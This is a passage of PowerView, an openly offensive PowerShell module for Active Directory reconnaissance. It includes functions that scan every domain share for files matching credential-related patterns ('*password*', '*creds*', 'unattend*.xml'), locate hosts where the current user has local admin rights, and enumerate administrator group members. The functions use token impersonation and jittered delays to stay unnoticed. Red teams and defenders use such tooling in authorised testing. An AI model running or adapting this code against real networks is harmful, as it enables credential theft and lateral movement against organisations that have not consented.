name, wildcards accepted. + +.PARAMETER Include + +Only return files/folders that match the specified array of strings, +i.e. @(*.doc*, *.xls*, *.ppt*) + +.PARAMETER SharePath + +Specifies one or more specific share paths to search, in the form \\COMPUTER\Share + +.PARAMETER ExcludedShares + +Specifies share paths to exclude, default of C$, Admin$, Print$, IPC$. + +.PARAMETER LastAccessTime + +Only return files with a LastAccessTime greater than this date value. + +.PARAMETER LastWriteTime + +Only return files with a LastWriteTime greater than this date value. + +.PARAMETER CreationTime + +Only return files with a CreationTime greater than this date value. + +.PARAMETER OfficeDocs + +Switch. Search for office documents (*.doc*, *.xls*, *.ppt*) + +.PARAMETER FreshEXEs + +Switch. Find .EXEs accessed within the last 7 days. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain and target systems. + +.PARAMETER Delay + +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +.PARAMETER Jitter + +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +.PARAMETER Threads + +The number of threads to use for user searching, defaults to 20. + +.EXAMPLE + +Find-InterestingDomainShareFile + +Finds 'interesting' files on the current domain. + +.EXAMPLE + +Find-InterestingDomainShareFile -ComputerName @('windows1.testlab.local','windows2.testlab.local') + +Finds 'interesting' files on readable shares on the specified systems. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('DEV\dfm.a', $SecPassword) +Find-DomainShare -Domain testlab.local -Credential $Cred + +Searches interesting files in the testlab.local domain using the specified alternate credentials. + +.OUTPUTS + +PowerView.FoundFile +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.FoundFile')] + [CmdletBinding(DefaultParameterSetName = 'FileSpecification')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DNSHostName')] + [String[]] + $ComputerName, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerDomain, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerLDAPFilter, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerSearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('OperatingSystem')] + [String] + $ComputerOperatingSystem, + + [ValidateNotNullOrEmpty()] + [Alias('ServicePack')] + [String] + $ComputerServicePack, + + [ValidateNotNullOrEmpty()] + [Alias('SiteName')] + [String] + $ComputerSiteName, + + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [Alias('SearchTerms', 'Terms')] + [String[]] + $Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'), + + [ValidateNotNullOrEmpty()] + [ValidatePattern('\\\\')] + [Alias('Share')] + [String[]] + $SharePath, + + [String[]] + $ExcludedShares = @('C$', 'Admin$', 'Print$', 'IPC$'), + + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [DateTime] + $LastAccessTime, + + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [DateTime] + $LastWriteTime, + + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [DateTime] + $CreationTime, + + [Parameter(ParameterSetName = 'OfficeDocs')] + [Switch] + $OfficeDocs, + + [Parameter(ParameterSetName = 'FreshEXEs')] + [Switch] + $FreshEXEs, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [ValidateRange(1, 10000)] + [Int] + $Delay = 0, + + [ValidateRange(0.0, 1.0)] + [Double] + $Jitter = .3, + + [Int] + [ValidateRange(1, 100)] + $Threads = 20 + ) + + BEGIN { + $ComputerSearcherArguments = @{ + 'Properties' = 'dnshostname' + } + if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } + if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } + if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } + if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } + if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = $ComputerName + } + else { + Write-Verbose '[Find-InterestingDomainShareFile] Querying computers in the domain' + $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname + } + Write-Verbose "[Find-InterestingDomainShareFile] TargetComputers length: $($TargetComputers.Length)" + if ($TargetComputers.Length -eq 0) { + throw '[Find-InterestingDomainShareFile] No hosts found to enumerate' + } + + # the host enumeration block we're using to enumerate all servers + $HostEnumBlock = { + Param($ComputerName, $Include, $ExcludedShares, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $TokenHandle) + + if ($TokenHandle) { + # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation + $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet + } + + ForEach ($TargetComputer in $ComputerName) { + + $SearchShares = @() + if ($TargetComputer.StartsWith('\\')) { + # if a share is passed as the server + $SearchShares += $TargetComputer + } + else { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + # get the shares for this host and display what we find + $Shares = Get-NetShare -ComputerName $TargetComputer + ForEach ($Share in $Shares) { + $ShareName = $Share.Name + $Path = '\\'+$TargetComputer+'\'+$ShareName + # make sure we get a real share name back + if (($ShareName) -and ($ShareName.Trim() -ne '')) { + # skip this share if it's in the exclude list + if ($ExcludedShares -NotContains $ShareName) { + # check if the user has access to this path + try { + $Null = [IO.Directory]::GetFiles($Path) + $SearchShares += $Path + } + catch { + Write-Verbose "[!] No access to $Path" + } + } + } + } + } + } + + ForEach ($Share in $SearchShares) { + Write-Verbose "Searching share: $Share" + $SearchArgs = @{ + 'Path' = $Share + 'Include' = $Include + } + if ($OfficeDocs) { + $SearchArgs['OfficeDocs'] = $OfficeDocs + } + if ($FreshEXEs) { + $SearchArgs['FreshEXEs'] = $FreshEXEs + } + if ($LastAccessTime) { + $SearchArgs['LastAccessTime'] = $LastAccessTime + } + if ($LastWriteTime) { + $SearchArgs['LastWriteTime'] = $LastWriteTime + } + if ($CreationTime) { + $SearchArgs['CreationTime'] = $CreationTime + } + if ($CheckWriteAccess) { + $SearchArgs['CheckWriteAccess'] = $CheckWriteAccess + } + Find-InterestingFile @SearchArgs + } + } + + if ($TokenHandle) { + Invoke-RevertToSelf + } + } + + $LogonToken = $Null + if ($PSBoundParameters['Credential']) { + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + else { + $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet + } + } + } + + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + + Write-Verbose "[Find-InterestingDomainShareFile] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-InterestingDomainShareFile] Delay: $Delay, Jitter: $Jitter" + $Counter = 0 + $RandNo = New-Object System.Random + + ForEach ($TargetComputer in $TargetComputers) { + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[Find-InterestingDomainShareFile] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $Include, $ExcludedShares, $OfficeDocs, $ExcludeHidden, $FreshEXEs, $CheckWriteAccess, $LogonToken + } + } + else { + Write-Verbose "[Find-InterestingDomainShareFile] Using threading with threads: $Threads" + + # if we're using threading, kick off the script block with New-ThreadedFunction + $ScriptParams = @{ + 'Include' = $Include + 'ExcludedShares' = $ExcludedShares + 'OfficeDocs' = $OfficeDocs + 'ExcludeHidden' = $ExcludeHidden + 'FreshEXEs' = $FreshEXEs + 'CheckWriteAccess' = $CheckWriteAccess + 'TokenHandle' = $LogonToken + } + + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Find-LocalAdminAccess { +<# +.SYNOPSIS + +Finds machines on the local domain where the current user has local administrator access. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Test-AdminAccess, New-ThreadedFunction + +.DESCRIPTION + +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and for each computer it checks if the current user +has local administrator access using Test-AdminAccess. If -Credential is passed, +then Invoke-UserImpersonation is used to impersonate the specified user +before enumeration, reverting after with Invoke-RevertToSelf. + +Idea adapted from the local_admin_search_enum post module in Metasploit written by: + 'Brandon McCann "zeknox" ' + 'Thomas McCarthy "smilingraccoon" ' + 'Royce Davis "r3dy" ' + +.PARAMETER ComputerName + +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +.PARAMETER ComputerDomain + +Specifies the domain to query for computers, defaults to the current domain. + +.PARAMETER ComputerLDAPFilter + +Specifies an LDAP query string that is used to search for computer objects. + +.PARAMETER ComputerSearchBase + +Specifies the LDAP source to search through for computers, +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. + +.PARAMETER ComputerOperatingSystem + +Search computers with a specific operating system, wildcards accepted. + +.PARAMETER ComputerServicePack + +Search computers with a specific service pack, wildcards accepted. + +.PARAMETER ComputerSiteName + +Search computers in the specific AD Site name, wildcards accepted. + +.PARAMETER CheckShareAccess + +Switch. Only display found shares that the local user has access to. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain and target systems. + +.PARAMETER Delay + +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +.PARAMETER Jitter + +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +.PARAMETER Threads + +The number of threads to use for user searching, defaults to 20. + +.EXAMPLE + +Find-LocalAdminAccess + +Finds machines in the current domain the current user has admin access to. + +.EXAMPLE + +Find-LocalAdminAccess -Domain dev.testlab.local + +Finds machines in the dev.testlab.local domain the current user has admin access to. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-LocalAdminAccess -Domain testlab.local -Credential $Cred + +Finds machines in the testlab.local domain that the user with the specified -Credential +has admin access to. + +.OUTPUTS + +String + +Computer dnshostnames the current user has administrative access to. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType([String])] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DNSHostName')] + [String[]] + $ComputerName, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerDomain, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerLDAPFilter, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerSearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('OperatingSystem')] + [String] + $ComputerOperatingSystem, + + [ValidateNotNullOrEmpty()] + [Alias('ServicePack')] + [String] + $ComputerServicePack, + + [ValidateNotNullOrEmpty()] + [Alias('SiteName')] + [String] + $ComputerSiteName, + + [Switch] + $CheckShareAccess, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [ValidateRange(1, 10000)] + [Int] + $Delay = 0, + + [ValidateRange(0.0, 1.0)] + [Double] + $Jitter = .3, + + [Int] + [ValidateRange(1, 100)] + $Threads = 20 + ) + + BEGIN { + $ComputerSearcherArguments = @{ + 'Properties' = 'dnshostname' + } + if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } + if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } + if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } + if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } + if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } + if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = $ComputerName + } + else { + Write-Verbose '[Find-LocalAdminAccess] Querying computers in the domain' + $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname + } + Write-Verbose "[Find-LocalAdminAccess] TargetComputers length: $($TargetComputers.Length)" + if ($TargetComputers.Length -eq 0) { + throw '[Find-LocalAdminAccess] No hosts found to enumerate' + } + + # the host enumeration block we're using to enumerate all servers + $HostEnumBlock = { + Param($ComputerName, $TokenHandle) + + if ($TokenHandle) { + # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation + $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet + } + + ForEach ($TargetComputer in $ComputerName) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + # check if the current user has local admin access to this server + $Access = Test-AdminAccess -ComputerName $TargetComputer + if ($Access.IsAdmin) { + $TargetComputer + } + } + } + + if ($TokenHandle) { + Invoke-RevertToSelf + } + } + + $LogonToken = $Null + if ($PSBoundParameters['Credential']) { + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + else { + $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet + } + } + } + + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + + Write-Verbose "[Find-LocalAdminAccess] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-LocalAdminAccess] Delay: $Delay, Jitter: $Jitter" + $Counter = 0 + $RandNo = New-Object System.Random + + ForEach ($TargetComputer in $TargetComputers) { + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[Find-LocalAdminAccess] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $LogonToken + } + } + else { + Write-Verbose "[Find-LocalAdminAccess] Using threading with threads: $Threads" + + # if we're using threading, kick off the script block with New-ThreadedFunction + $ScriptParams = @{ + 'TokenHandle' = $LogonToken + } + + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } + } +} + + +function Find-DomainLocalGroupMember { +<# +.SYNOPSIS + +Enumerates the members of specified local group (default administrators) +for all the targeted machines on the current (or specified) domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetLocalGroupMember, New-ThreadedFunction + +.DESCRIPTION + +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and enumerates the members of the specified local +group (default of Administrators) for each machine using Get-NetLocalGroupMember. +By default, the API method is used, but this can be modified with '-Method winnt' +to use the WinNT service provider. + +.PARAMETER ComputerName + +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +.PARAMETER ComputerDomain + +Specifies the domain to query for computers, defaults to the current domain. + +.PARAMETER ComputerLDAPFilter + +Specifies an LDAP query string that is used to search for computer objects. + +.PARAMETER ComputerSearchBase + +Specifies the LDAP source to search through for computers, +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. + +.PARAMETER ComputerOperatingSystem + +Search computers with a specific operating system, wildcards accepted. + +.PARAMETER ComputerServicePack + +Search computers with a specific service pack, wildcards accepted. + +.PARAMETER ComputerSiteName + +Search computers in the specific AD Site name, wildcards accepted. + +.PARAMETER GroupName + +The local group name to query for users. If not given, it defaults to "Administrators". + +.PARAMETER Method + +The collection method to use, defaults to 'API', also accepts 'WinNT'. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain and target systems. + +.PARAMETER Delay + +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +.PARAMETER Jitter + +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +.PARAMETER Threads + +The number of threads to use for user searching, defaults to 20. + +.EXAMPLE + +Find-DomainLocalGroupMember + +Enumerates the local group memberships for all reachable machines in the current domain. + +.EXAMPLE + +Find-DomainLocalGroupMember -Domain dev.testlab.local + +Enumerates the local group memberships for all reachable machines the dev.testlab.local domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-DomainLocalGroupMember -Domain testlab.local -Credential $Cred + +Enumerates the local group memberships for all reachable machines the dev.testlab.local +domain using the alternate credentials. + +.OUTPUTS + +PowerView.LocalGroupMember.API + +Custom PSObject with translated group property fields from API results. + +PowerView.LocalGroupMember.WinNT + +Custom PSObject with translated group property fields from WinNT results. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.LocalGroupMember.API')] + [OutputType('PowerView.LocalGroupMember.WinNT')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DNSHostName')] + [String[]] + $ComputerName, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerDomain, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerLDAPFilter, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerSearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('OperatingSystem')] + [String] + $ComputerOperatingSystem, + + [ValidateNotNullOrEmpty()] + [Alias('ServicePack')] + [String] + $ComputerServicePack, + + [ValidateNotNullOrEmpty()] + [Alias('SiteName')] + [String] + $ComputerSiteName, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [String] + $GroupName = 'Administrators', + + [ValidateSet('API', 'WinNT')] + [Alias('CollectionMethod')] + [String] + $Method = 'API', + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [ValidateRange(1, 10000)] + [Int] + $Delay = 0, + + [ValidateRange(0.0, 1.0)] + [Double] + $Jitter = .3, + + [Int] + [ValidateRange(1, 100)] + $Threads = 20 + ) + + BEGIN { + $ComputerSearcherArguments = @{ + 'Properties' = 'dnshostname' + } + if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } + if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } + if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } + if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } + if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } + if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } + + if ($PSBoundParameters['ComputerName']) { + $TargetComputers = $ComputerName + } + else { + Write-Verbose '[Find-DomainLocalGroupMember] Querying computers in the domain' + $TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname + } + Write-Verbose "[Find-DomainLocalGroupMember] TargetComputers length: $($TargetComputers.Length)" + if ($TargetComputers.Length -eq 0) { + throw '[Find-DomainLocalGroupMember] No hosts found to enumerate' + } + + # the host enumeration block we're using to enumerate all servers + $HostEnumBlock = { + Param($ComputerName, $GroupName, $Method, $TokenHandle) + + # Add check if user defaults to/selects "Administrators" + if ($GroupName -eq "Administrators") { + $AdminSecurityIdentifier = New-Object System.Security.Principal.SecurityIdentifier([System.Security.Principal.WellKnownSidType]::BuiltinAdministratorsSid,$null) + $GroupName = ($AdminSecurityIdentifier.Translate([System.Security.Principal.NTAccount]).Value -split "\\")[-1] + } + + if ($TokenHandle) { + # impersonate the the token produced by LogonUser()/Invoke-UserImpersonation + $Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet + } + + ForEach ($TargetComputer in $ComputerName) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer + if ($Up) { + $NetLocalGroupMemberArguments = @{ + 'ComputerName' = $TargetComputer + 'Method' = $Method + 'GroupName' = $GroupName + } + Get-NetLocalGroupMember @NetLocalGroupMemberArguments + } + } + + if ($TokenHandle) { + Invoke-RevertToSelf + } + } + + $LogonToken = $Null + if ($PSBoundParameters['Credential']) { + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + else { + $LogonToken = Invoke-UserImpersonation -Credential $Credential -Quiet + } + } + } + + PROCESS { + # only ignore threading if -Delay is passed + if ($PSBoundParameters['Delay'] -or $PSBoundParameters['StopOnSuccess']) { + + Write-Verbose "[Find-DomainLocalGroupMember] Total number of hosts: $($TargetComputers.count)" + Write-Verbose "[Find-DomainLocalGroupMember] Delay: $Delay, Jitter: $Jitter" + $Counter = 0 + $RandNo = New-Object System.Random + + ForEach ($TargetComputer in $TargetComputers) { + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[Find-DomainLocalGroupMember] Enumerating server $TargetComputer ($Counter of $($TargetComputers.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $TargetComputer, $GroupName, $Method, $LogonToken + } + } + else { + Write-Verbose "[Find-DomainLocalGroupMember] Using threading with threads: $Threads" + + # if we're using threading, kick off the script block with New-ThreadedFunction + $ScriptParams = @{ + 'GroupName' = $GroupName + 'Method' = $Method + 'TokenHandle' = $LogonToken + } + + # if we're using threading, kick off the script block with New-ThreadedFunction using the $HostEnumBlock + params + New-ThreadedFunction -ComputerName $TargetComputers -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams -Threads $Threads + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +######################################################## +# +# Domain trust functions below. +# +######################################################## + +function Get-DomainTrust { +<# +.SYNOPSIS + +Return all domain trusts for the current domain or a specified domain. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainSearcher, Get-DomainSID, PSReflect + +.DESCRIPTION + +This function will enumerate domain trust relationships for the current (or a remote) +domain using a number of methods. By default, and LDAP search using the filter +'(objectClass=trustedDomain)' is used- if any LDAP-appropriate parameters are specified +LDAP is used as well. If the -NET flag is specified, the .NET method +GetAllTrustRelationships() is used on the System.DirectoryServices.ActiveDirectory.Domain +object. If the -API flag is specified, the Win32 API DsEnumerateDomainTrusts() call is +used to enumerate instead. + +.PARAMETER Domain + +Specifies the domain to query for trusts, defaults to the current domain. + +.PARAMETER API + +Switch. Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts instead of the built-in +.NET methods. + +.PARAMETER NET + +Switch. Use .NET queries to enumerate trusts instead of the default LDAP method. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Get-DomainTrust + +Return domain trusts for the current domain using built in .LDAP methods. + +.EXAMPLE + +Get-DomainTrust -NET -Domain "prod.testlab.local" + +Return domain trusts for the 